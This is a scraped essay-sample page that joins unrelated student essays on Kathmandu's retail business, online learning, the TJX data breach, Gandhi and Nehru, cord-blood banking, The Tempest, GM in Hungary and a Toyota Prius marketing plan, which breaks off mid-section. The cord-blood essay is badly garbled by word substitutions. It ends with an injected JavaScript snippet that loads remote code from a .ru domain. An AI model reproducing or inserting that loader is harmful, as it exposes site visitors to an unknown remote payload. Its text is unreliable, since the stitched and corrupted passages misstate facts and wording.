Is Kathmandu Ready For Live The Dream - 4539 Words

Is Kathmandu Ready to Live the Dream? Marketing, branding aspects of Kathmandu along with its financial health, productivity trends, risks and intellectual property Prepared by: Ujjwal Suwal Freedom Institute of Higher Education Company Studies 609 July 5. 2015 Table of Contents Executive Summary 2 Kathmandu: Profile 3 Marketing, Branding and Reputational Perspective their competitive Advantages 3 1. Innovation 4 2. Engagement 4 3. Bundling 5 4. Efficiency 5 General Health of Kathmandu 5 1. Return on Equity (ROE) 5 2. DuPont Ratio Components 5 3. Additional profitability Ratios 6 4. Additional Leverage Ratios 7 Productivity Trends 7 1. Store rollout and refurbishment 7 2. Online Sales 9 3. Inventory control 10 Intellectual Property Documentation, Strategies and Processes 12 1. Register IP 12 2. Maintain secrecy 12 3. Demonstrate ownership 13 Risk Management Strategies 13 a. Market risk 13 b. Credit risk 13 c. Liquidity risk 13 d. Capital Risk 14 Conclusion 15 References 16 Appendices 17 Executive Summary Kathmandu boasts as the largest retailer in adventure and travel clothing and equipment in Australasia. It began its journey in 1987 as a small retailer specialist outdoor retailer in Melbourne, Kathmandu which has now extended its store network in Australia, New Zealand and the UK with 150 stores as well as an online store. It offers wide range of men’s, women’s and kid’s clothing and outdoor equipment such as tents, sleeping bags and accessories. It aspires to meetShow MoreRelatedPersonal Statement : Becoming A Computer Engineer849 Words   |  4 PagesEverybody has an aim in life. Aimless life is a worthless life. Who doesn’t have aim, they just live because they have to live. Aimless life is like a traveler who does not know the destination and direction of a journey. Different people have different aims, some peoples’ aim is to be wealthy, powerful, some want satisfaction and fame in their life, but my aim in life is to become a computer engin eer. To be an engineer, I have to face lots of difficulties but I have strong determination to achieveRead MoreNepal : The Peak Of The Mountain Peak1693 Words   |  7 Pageswithout the use of bottled oxygen by Peter Habeler and Reinold Messner in 1978.   Ã‚  Ã‚   Sherpas are specialized climbers who can carry food supplies and help map out routes on the mountains. Sherpas find mountains easier to climb than others because they live near the mountain and have adapted to the lack of oxygen at high altitudes. It is extremely difficult to climb mountains without a sherpa. Even with one, it could take you several months to climb. Two notable Sherpas, Apa and Phurba Tashi have climbedRead MoreWorld Literature Lecture : Laxmi Prasad Devkota3914 Words   |  16 Pagesgiven by the state for his unmatchable contribution to Nepali literature (Hunt). A. Devkota had a unique start from birth, but like a lot of important historical figures, some of the details have been embellished. 1. He was born in Dillibazaar, Kathmandu, in 1909, on the night of Laxmi Puja, a religious celebration where Laxmi (Lakshmi), the Hindu deity of wealth, is honored (Ranjan). 2. Devkota’s parents saw this as an omen, and named him after the goddess, hence his name ‘Laxmi’ (Ranjan). 3.Read MoreWhat is a Gap Year and Where Did It all Start? Essay3150 Words   |  13 Pagessteadily grow in the 1970’s and business soon began to cater to this growing market. One of the first companies started in London is Top Deck Travel, founded in 1973 by Australian Graham Turner, he took paying individuals on a double decker bus to Kathmandu. Tony Wheeler, a young British student the same year created the Lonely Planet brand travel books when he needed to find basic information on Asia and he could not find a suitable option. Now with tour companies, and travel advice books a needRead MoreScience and Technology13908 Words   |  56 Pagesinitiatives, but they should be empowered to play a leading role in them. Each year, the essay contest adopts a theme relevant to building a Culture of Peace and a sustainable future, such as Respect for life, Caring for our planet, Learning to live together, and The role of media and ICT in building a peaceful world. The theme of the 2009 International Essay Contest for Young People was The role of science in building a better world. Scientific progress has brought many benefits to humanity

Computer Mediated Learning Education Free Essays

For busy adults with conflicting schedules facing a multitude of family and work demands, who still wish to add to their academic credentials or vocational qualifications, computer mediated learning may seem like an ideal way for such adults to satisfy their educational needs. For an elementary school instructor, however, computer mediated learning lacks the supervisory, mentoring, and hands-on capacity that is usually deemed necessary for imparting basic skills. An â€Å"on-line, collaborative learning approach using the Internet offers solutions to many of the problems plaguing university education,† such as oversubscribed classes and the difficulty for university students to gain access to the required classes that they need to graduate on time. We will write a custom essay sample on Computer Mediated Learning Education or any similar topic only for you Order Now (Jones, 2004) At a higher education level, computer mediated learning allows for students to be enrolled in more sections on a year ’round basis in a university environment-but this is not an advantage enjoyed by elementary school students. At best, in terms of dealing with high enrollment, the computer-mediated classroom is an asset, not a supplement to face-to-face learning on the lower levels of education. Even advocates of distance or computer mediated learning on the university level have stressed that such an educational format works best when students are mature, preferably adult learners, â€Å"comfortable with independent learning and computers,† who have a clear intention of why they wish to obtain their degree. Jones, 2004) Such a description could not be more antithetical to elementary school children. Moreover â€Å"to be successful, the implementation of such a learning approach requires significant technical and educational skills and experience,† as well as motivation on the part of the learners. (Jones, 2004) Does this mean that computer based learning has no place in an elementary school curriculum? Not necessarily. Foreign language instruction that would not otherwise be available to elementary school children is possible through the use of computer based learning, as children can hear and interact with native speakers, and even communicate with classes their own age, across the world. (Perez, 1996) When teaching a foreign language, one teacher found that the new technology encouraged students to think critically, encouraged self-directed learning, and provided a library on-screen of different texts in the language the students was learning. But because the computer medium can allow for passivity on the part of the student, Lucia Perez stresses that a teacher must take an intensively constructivist or hands on approach, to motivate the students to be proactive in their learning, such as assigning independent research topics, rather than permitting students to ‘veg out’ in front of a screen, as might be their custom at home when using the computer for pleasure. Likewise, when using computer based learning to teach, for example â€Å"the teaching dilemma was how to simultaneously motivate the students by applying mathematics learning to real life problems of concern to them, and help them to gain quickly the basic skills to do the necessary mathematics manipulations almost automatically,† and once this motivation was integrated into the computer based learning, the program appeared to work well. (Shaw, 1996) Thus, computer based learning can and must be more than simply an effort to transfer face to face classroom instructional practices into a different or virtual medium, for the learning does not take place face to face, but is primarily student-directed. Also, there is more responsibility upon the head of an average Elementary teacher to create assignments that motivate and engage student’s imagination when making use of computer based learning for specific, targeted purposes, but when done so effectively, the rewards are great for both teachers and students. How to cite Computer Mediated Learning Education, Papers

Effectiveness Of The Evaluation Samples †MyAssignmenthelp.com

Question: Discuss about theEffectiveness Of The Evaluation. Answer: Introduction At the end of each of the teaching session, learners are expected to have understood certain concepts. As such to check on the learners understanding of the students on the various concepts the instructor uses the evaluation tools. The assessment tools are very vital as they measure the effectiveness of the teaching and learning process. (Arends, 2014). One should come up with a good evaluation to efficiently gauge the students understanding as well as the quality of the learning process. In this work, we will explore the effectiveness of the assessment tools in the three teaching session that I evaluated on adult learning sessions for level five. Effectiveness Of The Evaluation Tools In Meeting The Expected Outcome In this learning session, there were various expected out comes in each of the three learning sessions. One of the expected outcomes of the learning session is the students should be able to demonstrate the knowledge that they have learned from evaluation. The students should also be able to describe various assessment methods as well as state the goals of the evaluation process. By the end of the second learning session, the student should be able to implement various assessment methods. The students should also be able to analyze at least two tools that can be used in the evaluation of a learning session. In the third learning session, the students should be able to review the effectiveness of various assessment tools. In examining whether the students achieved the above outcomes, we used a variety of assessment tools. The evaluation tools include rubrics, review and reflection tools as well as the graphic organizer tools. In evaluating the three learning sessions, (Zepeda, 2016).I used the review and reflection tools to examine the student understating as well as the quality of the teaching session. The students to document their views on the session of instruction as well as the points they did not understand in the session. The evaluation tool was useful as it was cheap and it helped in understand each learner's weaknesses as well as strengths and the sections that needed remedial teaching. The evaluation troll helped in putting across the problems in the session of instruction that would assist in coming up with strategies to meet the expected outcomes efficiently. The assessment tool was efficient as it helped in efficiently measuring the outcome of all three learning sessions. However, the ev aluation tool led to the development of a lot of information on the learning session since the students had different views and it was open-ended. Improvement Of The Tools One of the ways to improve the evaluation tool is giving the students a more precise essay to examine their understanding. It is because the evaluation tool that was used brought about a lot of information, as it was a general question. Some of the students put across that they did not understand the question as it was very general. Therefore in the subsequent teaching session, the tool that will be developed will put across a more clear and precise question. References: Arends, R. (2014). Learning to teach. McGraw-Hill Higher Education. Mertens, D. M. (2014). Research and evaluation in education and psychology: Integrating diversity with quantitative, qualitative, and mixed methods. Sage publications. Smith, M. L., Glass, G. V. (1987). Research and evaluation in education and the social sciences. Prentice Hall. Zepeda, S. J. (2016). Instructional supervision: Applying tools and concepts. Taylor Francis.

Tjx Companies free essay sample

The data theft that TJX Companies experienced was caused by using the Wired Equivalent Privacy (WEP) encryption system. The WEP had become easy for hackers to navigate and had become quite out of date. TJX also failed to properly encrypt data on many of the employee computers that were using the wireless network, and did not have an effective firewall. The company had also purchased additional security programs that were not installed correctly. An alternative to the out of date WEP could have easily been used. The Wi-Fi Protected Access (WPA) standard in conjunction with a sophisticated encryption system could have been used to replace the WEP. Firewalls could have reduced or eliminated the ability of the hackers to gain access to sensitive information. Lastly the company should have ensured that all computers containing customer information were secure when connecting to a wireless network. The cost associated with data breaches can be enormous and infinite. We will write a custom essay sample on Tjx Companies or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page A data breach can have severe repercussions including reputational costs to organization and brand. A data breach can also cause the loss of confidence and apprehension in consumer. This in turn will cause less people to shop with TJX companies which can create a loss in revenue. The consumer can also have charges and unauthorized use of their credit information. Banks and issuers of credit and debit cards were forced to replace the stolen cards and refund any money that was stolen due to fraudulent credit or debit charges. I believe that TJX should have taken full responsibility for that data theft. I think that the biggest moral obligation that was not met is the obligation to securely store customer data. This moral fault has been estimated to cost upwards of one billion dollars. I also believe that TJX should have been held accountable for all damages since it was their lack of security that allowed the hackers to steal the data in the first place.

Neur-Ghandi Story essays

Neur-Ghandi Story essays I found the Nehru Gandhi Story to be depthly intriguing. It is a journey of struggle and sacrifice along a beaten path of relentless adversity. As displayed by the video, the old traditional economic state of India plays a very important part in the rich history of its land and people. This film shoes clearly Indias fight for independence from Great Britain in 1947 is just a beginning to its dynamic story. Further more Gandhi existence is a salvation for the people of India's lower class. He Was able to unite the masses with his spiritual leadership as well as give them a voice through his political mentorship relationship with Jawaharlal Nehru, Indias Prime minister. Together they were able to unite the people of India and free it from Great Britains rule. Although Jawaharlal Nehru and Gandhi became great respecters of one and other, they initially came from very separated backgrounds. As the video illustrates, Jawaharlal Nehru comes from a wealthy upper class family. His father Mohole Nehru sent him to Engeland at a young age to be educated. Like his father Jahabalo excelled through his scholastic studies to emerge back in India as a lawyer. With a solid western education Jawaharlal had visions of the industrialization of India. In contrast, Gandhi was a leader amongst the populous lower class of India. Gandhi opposed modern industrialization and felt that its emergence would only hurt the lower class by leaving them further behind. The movie exemplifies Gandhis beliefs through the description of his symbolized spinning wheel. Gandhi used the spinning wheel as an example of the self-sufficient groups of local villagers scattered amongst the social economic caste system of India. Gandhis economic beliefs in the old traditional economy dove tails with his involvement in the lower class. The caste system of an old traditional economy was tradition, and Gandhi ...

Blood Of Children Sampling Essay Research Paper

Blood Of Children Sampling Essay, Research Paper Should parents pay a blood bank to hive away the blood from their newborn babe # 8217 ; s umbilical cord and placenta, in instance that kid or another household member of all time demands it to handle malignant neoplastic disease or leukaemia? Anticipant parents are being urged to make so by companies that have sprung up during the past few old ages to sell cord-blood banking as a signifier of biological insurance against such awful diseases. The pitch is based on studies in medical diaries, such as a major survey published last hebdomad in the New England Journal of Medicine, demoing that cord blood can sometimes be used in topographic point of a bone marrow graft. Like bone marrow, cord blood is rich in root cells, which can churn out many different types of cells to reconstruct a patient # 8217 ; s blood supply and immune system after high doses of radiation and chemotherapy. And a patient # 8217 ; s ain cord blood, or that from a comparative, is more likely than cord blood from an unrelated giver to be a good tissue lucifer and to be accepted by the receiver # 8217 ; s organic structure. Some experts in bone-marrow organ transplant and blood banking scowl on the cord-blood concern, reasoning that people are being frightened into blowing money on a service they will likely neer necessitate. Furthermore, private companies are turning in tandem with public Bankss, and some scientists worry that private banking will restrict public entree to cord blood. They are concerned because the cord blood in private Bankss remains the belongings of the donor household and is non available to patients seeking a compatible giver. But the companies say that nevertheless remote the possibility that the blood will be needed, people who choose to bank their ain cord blood have a right to make so. In most instances their cord blood would be thrown off in the bringing room if they did non pay to bank it. There are merely a few cord-blood Bankss in the United States, and most infirmaries do non hold specially trained staff members to roll up the blood. Like bone marrow, cord blood must be matched to the receiver by trials for six familial traits that determine an single # 8217 ; s tissue type. Cord blood does non hold to be as exactly matched as bone marrow, but still, the closer the lucifer, the better the odds of success. The weaker the lucifer, the more likely it is that the receiver # 8217 ; s organic structure will reject the graft, or the graft will assail the receiver # 8217 ; s tissues, in a dangerous reaction called transplant versus host disease. The companies that freezing cord blood and bank it point out that a individual # 8217 ; s ain cord blood is a perfect lucifer, and a sibling # 8217 ; s cord blood a more likely lucifer than a specimen from a alien. And so, the statement goes, the best manner to protect an full household from the unthinkable is to salvage the neonates # 8217 ; cord blood. Promotional literature for one company, Cord Blood Registry, in San Bruno, Calif. , emphasizes that people with malignant neoplastic disease in the household may hold a particular involvement in cord-blood banking, along with those who have the hardest clip happening lucifers, which includes members of racial minorities, particularly households in which the parents are of different races. Harmonizing to a spokeswoman, Scoti Kaesshaefer, the company reaches parents-to-be by advancing itself to physicians, nurses and childbearing pedagogues, and by go forthing information at infirmaries. Among the promotional stuffs the company provided to the New York Times were transcripts of articles from other newspapers proposing that malignant neoplastic disease among kids is on the rise. The company besides has a Web site and an 800 figure with a recorded salutation that instructs companies to hold their recognition cards ready. The thought of salvaging one # 8217 ; s ain cord blood seems to be catching on. Cord Blood Registry, which describes itself as the largest private cord-blood banking house in the United States, has stored 10,000 samples during the past three old ages: 1,500 in 1995, R / gt ; 3,000 in 1996 and 6,000 in 1997. The company charges an initial fee of $ 1,200 to roll up a sample and freezing it, and so $ 95 a twelvemonth to maintain it stored in liquid N at the blood bank at the University of Arizona. Customers include people with absolutely healthy kids, who merely want excess peace of head, as good as some households who have lost a kid to leukemia or another disease and fright for the wellness of their other kids. In its three old ages of operation, eight clients have retrieved their cord blood for usage in medical intervention, said Kaesshaefer. All eight samples were used for siblings or relations, she said. By contrast, the largest public-access bank of cord blood, at the New York Blood Center in Manhattan, has collected merely 8,686 specimens in six old ages. But about 800 of those samples have been used to handle patients, many of them kids, in the United States and overseas. Critics of private cord-blood companies point out that even if a individual with banked cord blood does necessitate a graft later, the stored blood may non be the best pick. Dr. Pablo Rubinstein, who directs the cord-blood plan at the New York Blood Center, said there was a compelling medical statement against utilizing a patient # 8217 ; s ain cord blood in some instances. In some immature kids with leukaemia, he said, malignant cells were already present at birth in the cord blood, and instilling those cells back into the kid subsequently might lend to a backsliding. In add-on, he said, bone marrow from a giver could assist destruct morbid cells, an consequence known as transplant versus leukaemia. A individual # 8217 ; s ain cord blood might non hold that consequence, and in some instances even a sibling # 8217 ; s might non. Dr. John Wagner, associate manager of bone marrow organ transplant at the University of Minnesota in Minneapolis, said that for a kid being treated late, he intentionally rejected cord blood from a sibling in favour of a well-matched unit from an unrelated giver, trusting to take advantage of its antileukemic consequence. Dr. Robertson Parkman, manager of bone marrow organ transplant at Children # 8217 ; s Hospital in Los Angeles, said he saw no point in banking cord blood for most households. It # 8217 ; s motivated by fright, he said. But in households with an sick kid who might necessitate a bone-marrow graft, he said, it makes sense to collect cord blood from any siblings born subsequently and salvage it. Medical centres with transplant plans will frequently execute that service, he said. So will some of the private companies, without a fee. When a bone-marrow giver could non be found for 4-year-old Joshua Kelton, who was enduring from leukaemia, his parents, stationed at a military base in Honolulu, conceived another kid in the hope that the babe # 8217 ; s tissues would fit Joshua # 8217 ; s. They did, and Cord Blood Register collected the cord blood at birth, stored it in Arizona for a month, and so, when Joshua was ready for the process, transported it to a medical centre at Stanford University. Joshua was treated with his baby brother # 8217 ; s cord blood in August, and has been declared free of leukaemia. Right now, he # 8217 ; s 100 per centum, his male parent said in a telephone interview, a normal kid, the manner he was before this happened. But the Keltons # 8217 ; experience is barely representative. That the household was certain it would necessitate the cord blood sets it apart from most households that store the blood. Wagner is wary of the hard sell of some of the cord-blood companies. My concern is that it be presented reasonably to expectant female parents, who are already reasonably vulnerable, he said. I have a batch of accoucheurs and parents naming me and kicking it # 8217 ; s excessively late, they missed the chance. Others call stating,# 8216 ; Should I make this? # 8217 ; It # 8217 ; s difficult to reply. I don # 8217 ; t want to bias them. We have person now who takes the calls for me because it got to be overpowering. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Summary of The Tempest Drama by Shakespeare Essay

Summary of The Tempest Drama by Shakespeare - Essay Example The concept of unveiling the play’s events in a long continuous order dents the play. A good player needs to spell out chronological ideas but these ideas should not run as a prolonged course during the presentation (Baker 145- 150). It is advisable to initiate breaks in the play. An effective component of developing breaks in the play is using songs. The writer should have composed a simple song and made it run throughout the drama. The song should appear before the introduction of key scenes. This not only breaks the monotony in the play but also prepares the viewers for the introduction of a novel idea. Songs are also effective in emphasizing the theme of the play or in recruiting the audience to participate in the play. Audience involvement makes the play be livelier. Another effective approach is dramatizing the play and using other live performance accompaniments. This involves employing approaches such us beating of the drum or other percussion appliances in intervals. Moreover, the play may amalgamate the performance with some melodies from the background. A critical application of these apparatus can improve the live performance. Additionally, the choice of language and tone can radically develop the performance. This means the presentation of different concepts or ideas using varying tones become necessary. Some moods or themes may need to be presented using a low tone while others may demand a high tone. Similarly, some statements need to be cool while others set to depict harshness. Tonal variations sway the audience’s mood making them identify with the play’s mood. Furthermore, the practice improves audience’s attentiveness hence an effective aspect of avoiding boredom. This makes the play interesting and lively. The use of gestures is also a key component of a good play. This critical constituent entirely depends on the actors used in the play. Gestures involve the use of body idioms in speaking the desired information. This entails facial expressions and movement of body parts. Of great consideration is the correct use of these gestures because if used incorrectly, they influence negatively on the quality and usefulness of the plays. Specific expressions and movements are suitable for a particular scenario or theme. In some degrees, this should include the use of appropriate outfits and make-ups. This becomes necessary since the appearance of the performer influences audience’s attitude. It is of worth noting that, gestures outweigh verbal language in communicating certain messages. Gestures naturalize message delivery hence making the play lively (Baker, 120). Importantly, there are some stylistic devices which if effectively utilized can improve the play. Firstly, humorous characters can appear in some scenes presenting the definite message. Humorous characters may involve culprits of ignorance, the misinformed group or chauvinists. These actors simply clash with basic societal ideologie s because of their compromised state. Their condition lands them into awkward and sometimes shameful encounters, which make them perplexed.

International Business Management - Eastern Europe Essay

International Business Management - Eastern Europe - Essay Example 2. The maximum rate of Income tax that could be levied after the tax holiday period of 10 years should be fixed at not more than 20 percent of the taxable earnings: In addition to benefit of the tax holiday period the developing countries normally offer concessional rates income tax for any joint venture arrangements. 3. Free conversion and free transferability of funds from and to Hungary to European or US destinations2: Though these facilities were available at the time of negotiation the Hungarian government should make a commitment for the uninterrupted continuance of these facilities, which is very important for the profitable functioning of the join venture arrangement. 4. Concessional duty rates on the import of engines and reduction in the VAT (Value Added Tax) being charged by the Hungarian Government: The import duty on engines depending on the size of the vehicle varied from 10 to 40 percent and there was an additional VAT of 25 percent charged by the Hungarian government. Though Hungary is a signatory to the GATT (General Agreement on Tariffs and Trade) the country was free to vary the duty and VAT structures as it may deem fit in the case of automobiles. Hence there is the need to get the government committed on the basic duty structures which is advantageous to GM Europe. In addition to the tax incentives it is also important that the Hungarian government should provide basic infrastructural facilities to fac... Hence there is the need to get the government committed on the basic duty structures which is advantageous to GM Europe. (ii) Provision of Infrastructural Facilities: In addition to the tax incentives it is also important that the Hungarian government should provide basic infrastructural facilities to facilitate the successful operation of the project. Such infrastructural facilities may include the provision of natural gas to the site in addition to the provision of water, electrical power as may be required, well maintained roads for easy transportation and hassle-free physical movement of engines, components and cars during import and export. (iii) Protection from Competition: In order to gain a distinct competitive advantage there should be a commitment from the Hungarian government that at least for an initial period of 5 years or so the import of cars needs to be banned. Since the Hungarian market was small and the affordability of Hungarian population was also less there is the need for this condition. The country could get other advantages in the form of generation of additional employment and development of local suppliers which need to be traded against the protection needed by the GM Europe for its joint venture in Hungary. Though at the start, the GM plant would be small the facility could be enlarged with modernizing and restructuring of the economy. This is usually the case with any developing economy where there are going to be economic reforms the local industry would naturally develop along with the measures for economic reforms. b. Issues to be raised with RABA: The following issues are to be discussed with RABA for possible acceptance as

Plug-in hybrid Essay Example for Free

Plug-in hybrid Essay This is an analytical and comprehensive approach for preparing marketing plan for Toyota Prius, the hybrid car, consists of formulating strategies and implementing them, with suggestions for recommended changes and implementing the plan. Toyota is well known for its innovative and excellent quality cars all over the world. Toyota has started the hybrid project in about 1991 and launched its first concept in 1997. It is Toyota that made this revolution of hybrid cars a success story. The Global, 21st century known as G-21 team worked on the Prius. It aims in focussing the target market in Australia, in main cities like Sydney, Melbourne, Adelaide, Perth, Canberra, Brisbane, etc. the main focus is on the two kinds of buyers in the market, i. e. the private buyers and the corporate and fleet buyers. The distribution is done through the strong network of 211 dealers in Australia. There is proper training to the dealer about the car and its features as its technology is new in the market. This also helps to solve customers’ objections and their queries. The promotion is done through Medias like television shows, advertisement with celebrity, news paper and magazine. Also through the personnel marketing where the dealer meet and communicate with customers personally. Internet is the modern means of marketing and advertisement. The costing of the car is issue at present movement. But it could be solved with help of government policy and the company’s discount. As the technology improves the cars will be cheaper and can be affordable by lower income segment. Table of content TopicPage No. 1. Introduction4 2. Mission Statement4 3. Situation Analysis4 3. 1. Internal environment4 3. 1. 1. Products4 3. 1. 2. Financial and non-financial situation5 3. 1. 3. Channels5 3. 2. External Environment6 3. 2. 1. Markets6. 3. 2. 2. Competitive environment6 3. 2. 3. Economic environment7 3. 2. 4. Demographic environment7 3. 2. 5. Social and cultural environment7 3. 2. 6. Political and legal environment7 3. 2. 7. Technological environment8 3. 3. SWOT analysis8 3. 4. Critical issues9 4. Marketing Objectives10 5. Marketing Strategies10 5. 1. Target markets10 5. 2. Product strategies11 5. 3. Pricing strategies11 5. 4. Promotion strategies11 5. 5. Distribution strategies12 6. Recommendations for change12 7. Implementation plan13 8. References A. Appendices14 14 1. Introduction: Toyota Motor Corporation is Japanese company and one of the world’s largest automaker. Toyota has created philosophies and techniques which are now implemented commonly in every organisation in the world which is called as the Toyota-style management and manufacturing technique. Toyota is well known for designing and manufacturing of concepts and future cars. Toyota was the first company to manufacture powerful and high quality hybrid car in the year 1997 (Chambers, 2008). Toyota used combination of fossil fuel and electricity for power and manufactured its well known car called ‘Prius’, which gained popularity all over the world within short time. Toyota launched hybrid Prius in Australia in 2001. We will be discussing about the marketing plan of Prius in Australian market and revolution it would create in automotive market. 2. Mission Statement: Toyota’s mission is to deliver outstanding automotive product and to provide service to their customers. It also aims in enriching our community, partners, and environment. Toyota’s four core values are customer first priority, respect for the people, international focus, continuous improvement and innovation . 3. Situation Analysis: It is the analysis of the vast amount of information regarding the organisation, product and the situation they are facing (Cohen, 2005). It consists of various environmental factors and experts call it as process of environmental scanning. 3. 1. Internal Environment: It consists of the situation inside the organisation and its internal working. It can be regarding the product, channels, and financial situation. 3. 1. 1. Product: Toyota has launched wide range of products in Australia which is divided in four segments passenger, four wheel drive and sports utility vehicles, commercial vehicles and Toyota racing development (TRD). Prius comes in the passenger segment of cars. It began in the year 1992; Toyota announced its plans to develop a car with lowest possible emission. It created committee called G-21, G known as global and 21 is twenty-first century. In 1994 the concept car named â€Å"Prius† was developed. Prius is a hybrid car which is combination of fossil fuel and electricity. It used patented Hybrid Synergy Drive system which enables car to give a whooping mileage of 100 kilometres in 4. 4litres of fuel. 3. 1. 2. Financial and non-financial situation: Toyota has large manufacturing facility at Altona, and since 2004 Toyota has invested 800 million in Australian manufacturing plant. Toyota has generated sales revenue of $9. 284 billion and has total assets of $2. 478 billion as of December, 2007. Total exports for 2007 were $1. 7 billion inclusive of parts. Toyota has 4720 employees and about 11,300 dealer employees. It produces about 148,931 vehicles and 112,415 engines. It has domestic sales of 236,647 and exports of 97,688 units to 23 countries. http://www. toyota. com. au/about/key-facts . 3. 1. 3. Channels: â€Å"Distribution channels are set of interdependent organisations involved in the process of making a product or service available for use or consumption by the consumer or industrial user† (Kotler and Armstrong, 2004 p). Toyota is known for its â€Å"just-in-time† production system. It produces car when there is demand from customers. There is direct network between manufacturer of components and Toyota, so that it does not have to maintain inventory. Toyota has wide network of 211 dealers in Australia. Toyota fulfils its consumers demand by its dealer network where approximately 11,300 employees serve. http://www. toyota. com. au/about/key-facts . 3. 2. External Environment: The company’s macro-environment, now known as external factors are uncontrollable forces that the company must watch and also respond to (Kotler and Armstrong, 19871). Fig. 1. (Source: Kotler, et. al [2006], pg: 169) 3. 2. 1. Markets: â€Å"A market is the set of actual and potential buyers of a product† (Kotler and Armstrong, 2004 pg7). The potential buyers of hybrid car are from higher income group and they stay in metropolitan cities. Hybrid car market can be developed in developed countries and advanced cities. Hybrid car owners are educated and have concern towards environmental factors. Hybrid car owners are few years older than average car buyers . 3. 2. 2. Competitive environment: Toyota was the first develop hybrid passenger car called Prius. The biggest competitor of Toyota is Honda. Honda has its hybrid model Insight which poses competition to Prius. Recently ford has also launched hybrid version of its popular SUV Escape. Ethanol blended fuel car also pose competition to hybrid cars, as they have low emission and good mileage. Also non-hybrid cars are not much costly as compared to hybrid cars. 3. 2. 3. Economic environment: â€Å"Factors that affect consumer buying power and spending patterns† (Kotler and Armstrong, 2004 p71). Considering the positive side, many companies gives special offers and incentives to encourage purchasing of hybrid vehicle. There are also Government rebates to encourage buying of hybrid vehicles. Considering the negative side customer has to pay around five to seven thousand dollars more for hybrid vehicle against non-hybrid vehicles. The battery and electric motor replacement are costly parts. Repairs and maintenance facilities are limited to dealerships only. 3. 2. 4. Demographic environment: Demographic environment is very much interest to the marketers. As demography involve people and it is the people who make the market for any product. The private market is an important market, where the consumer is either male or female and in the age group of 30 to 50 years old. The consumers are from wealthy class, they are educated, well informed and they are from AB socio-economic segment. Hence the consumer can be in profession like administrative, or higher managerial or professional occupation who are ready to purchase environmental-friendly car and also pay more for its exceptional features. 3. 2. 5. Social and cultural environment This environment represents the effect of religion, fashion, population trends; social issues like equality and social movements such as environmentalism (Dann, 2004). The customers are from higher income group. Customers have higher level of education, who is concerned about environmental crises. Prius focuses on the customers with age group few years older than the average car buyers, and mostly women prefer for this car. It is preferred by customers who drive fewer miles and ready to pay more for their car. 3. 2. 6. Political and legal environment Australia is quite receptive towards foreign firms to invest in country. Government attract foreign investment by giving various incentives. Australia is politically stable country and has democratic government. So there are less risk for change of policy, increase of duty, blocking company’s property and currency and takeover of company’s property. Government bureaucracy is also important factor which help companies with good market information, efficient custom handling (Kotler and Armstrong, 2004). 3. 2. 7. Technological environment Toyota was first company to successfully launch a hybrid commercial vehicle. High level of research and development and after a long experiment Toyota launched Prius in late 1997. It has developed patented hybrid system called Hybrid Synergy Drive. It provides a combination of electric power and fossil fuel which gives an eye-catching mileage of about 100 kilometres in 4. 4liter of fuel. This technology gives high power output and greater performance as it is combination of fuel and electricity. Due to this combination the car goes for more kilometres in less fuel. This car has fewer emissions and pollutants problem. We can say that hybrid technology gives us clean, powerful and efficient car. 3. 3. SWOT analysis: SWOT analysis is the overall evaluation of company’s strengths, weakness, opportunities, and threat. Strengths: ?Toyota is one of the world’s largest car manufacturers having reliable and high quality image. ?A hybrid car cuts emission by 25% to 30% ?‘Just-In-Time’ production ?It has greater fuel economy typically around 100 kilometres in 4. 4litres ? Government gives incentives on hybrid cars. ?It has the â€Å"green† image for car. ?It is â€Å"new† and successful technology. Weakness: ?There is high cost involved in research and development and technology is costly. ?The car is much pricier than non-hybrid cars. ?Fuel saving is limited, and only if the car is driven within the limit. ?It has low speed? Customers has limited choice ?The maintenance can be costly as lot of electronics and computer are involved Opportunities: ?Targeting the people who are environmentally conscious. ?It can be used to lower the global warming concerns ?As technology becomes more and more affordable, car can introduced in lower income segment ? There is also scope for future government policy for transition to hybrid technology. Threats: ?In non-hybrid cars with gasoline and ethanol blend, gives good mileage and have lower emission problem ? Diesel technology also gives good mileage, but has emission problems ? There are threats from small cars like Honda Civic or Mazda 3 which are fuel efficient and less costly than hybrid cars. ?To pay four to six thousand dollars more to get twenty five percent improvement can be a tough decision to make. 3. 4. Critical Issues: ?Will the cost of hybrid cars Prius be reduce? ?Can lower economic segment of society be able to buy Prius? ?Can the maintenance of car and parts become cheaper? ?Will customers have a variety of hybrid models to choose from? ?Can Prius become more fuel efficient? ?Can the emission be reducing to almost negligible? ?Should Toyota focus its research on other type of hybrid vehicles? 4. Marketing Objectives: ?Customers and consumers should be made aware of new product i. e. Toyota Prius. ?Increasing shareholders wealth which is achieved by higher profits and increased sales. ?As this is new product and having new technology, the objective is to educate consumers and explain its working and advantage of this. ?Prius should me made marketed so as to make it valid alternative to traditional cars. ?Customers should be communicated through website, brochures, visiting local dealer and ordering test drive to know about Prius. ?Communication should lead to purchase, and also number of visits to dealer should be turned into sales. 5. Marketing Strategy: Marketing strategy also known as ‘the game plan’ is used to fulfil the plan’s objective. It consist of strategy for target markets, product strategy, pricing strategy, promotion and distribution strategy (Kotler et. al, 2006). 5. 1. Target markets: Target market consists of a set of buyers who share common needs or characteristics that the company has decided to serve (Kotler et. al, 2007). Toyota is the first mass produced hybrid car. Hybrid car market is new and having light competitive. Prius belong to the lower to medium passenger car segment. Toyota has competition from Honda’s Insight, which is the two-seat sports car. But it is not offering the features like Prius. Prius focuses on providing comfort to passenger segment i. e. C, so there is strong competition in this segment . The target market for Prius concentrate on two major categories: the customers and consumer. Customers are corporate buyers and fleet. Customers buy cars either for corporate hire / rental or for company fleets. Toyota can make tie-ups with corporate and provide special offers to them. They can be reached through business press and media. Since Prius is low in operating cost and its environmental friendly features makes it interesting for business buyers. In consumer market, Prius focuses on consumer who is few years older than average car buyers. It focuses especially females with higher income group. Consumers who are eco friendly and educated are also targeted . 5. 2. Product strategies: â€Å"It is the total benefit that the seller offers through its product features to its customers† (Dann and Dann, 2004 p20). Toyota Prius is a product which requires high involvement and it’s having unique features, which require personal selling. Personal selling can be achieved through the dealer network, which will be given special training about the car, its advantages and also trained to overcome objections form customers. Personal training is also useful to target corporate customers and fleet buying customers, who buy fleet of cars for rental or corporate use, by convincing them about the environmental factors and efficiency in long term use. Dealers should also personally visit the potential buyer group, like environmental friendly and higher income group. 5. 3. Pricing strategies: 